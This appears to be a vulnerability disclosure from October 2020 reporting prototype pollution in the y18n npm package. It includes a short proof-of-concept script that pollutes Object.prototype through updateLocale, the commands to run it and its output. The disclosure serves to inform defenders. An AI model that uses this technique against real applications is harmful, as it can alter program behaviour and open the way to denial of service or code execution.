Prototype Pollution in yargs/y18n


Reported on

Oct 15th 2020


y18n is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const y18n = require('y18n')();
var obj = {}
console.log("Before : " + obj.polluted);
y18n.updateLocale({polluted: 'Yes! Its Polluted'});
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i y18n # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
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